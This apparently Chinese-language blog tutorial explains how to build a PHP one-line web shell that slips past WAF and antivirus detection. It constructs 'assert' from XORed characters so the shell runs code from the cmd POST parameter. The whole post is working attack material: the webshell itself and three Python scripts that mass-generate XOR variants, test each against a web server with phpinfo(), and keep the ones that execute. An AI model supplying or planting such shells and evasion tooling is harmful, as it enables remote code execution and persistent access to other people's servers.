题记
Get到新姿势,踩坑记录:eval不能用,php7.1之后assert()也不能用。最后说一下,蚁剑是可以用assert的,不过编码最后使用base64。
免杀一句话解析
1、一句话如下:
<?php $a=('!'^'@').'ssert'; $a($_POST[cmd]); ?>
2、原理Ascii值的转换
ASCII表如下图:
'!'^'@'可以看表!为33而@为64,转换原理是把33与64分别换成二进制,然后相加在转换成字符就是a,和后面代码拼接就可以成为assert,这种方式可以绕过waf,构成免杀php一句话。
Python3批量生成木马脚本
因为算字符值太麻烦了,所以脚本生成木马原理为先生成所有异或组成的大量文件,然后在这些文件中挑选出成功执行的一句话。
1、生成文件
#这里可以从1开始运行,我不想生成太多文件所以设的大 for i in range(80,127): for ii in range(90,127): code="<?php $a=("+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+").'ssert';echo $a;$a($_POST[cmd]);?>" with open('D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php','a+') as f: f.write(code) f.close()
2、找到成功的代码
3、代码成功执行
import requests #这里可以运行到127,我不想生成太多文件所以设的大 for i in range(20,50): for ii in range(50,90): code="<?php $a=("+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+").'ssert';$a($_POST[cmd]);?>" with open('D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php','a+') as f: f.write(code) f.close() url='http://www.hack.com/'+str(i)+'mm'+str(ii)+'.php' data={ 'cmd':'phpinfo();' } result=requests.post(url,data=data).content.decode('utf-8') if 'phpinfo' in result: print(str(i)+'mm'+str(ii)+'.php'+'|ok') else: print(str(i) + 'mm' + str(ii) + '.php' + '|no')
优化后
这是我自己设计的,挑选出能执行的一句话,删除不能执行的一句话,最后剩下能执行的。
import requests import os #这里可以运行1到127,我不想生成太多文件所以设的大 for i in range(30,40): for ii in range(50,70): code="<?php $a=("+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+").'ssert';$a($_POST[cmd]);?>" with open('D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php','a+') as f: f.write(code) f.close() url='http://www.hack.com/'+str(i)+'mm'+str(ii)+'.php' data={ 'cmd':'phpinfo();' } result=requests.post(url,data=data).content.decode('utf-8') if 'phpinfo' in result: print('bypass ok->'+str(i)+'mm'+str(ii)+'.php'+'|ok') print(code) else: file='D:/git/phpStudy/PHPTutorial/WWW/www.hack.com/'+str(i)+'mm'+str(ii)+'.php' os.remove(file)
参考文章
一句话木马踩坑记:http://xz.aliyun.com/t/6511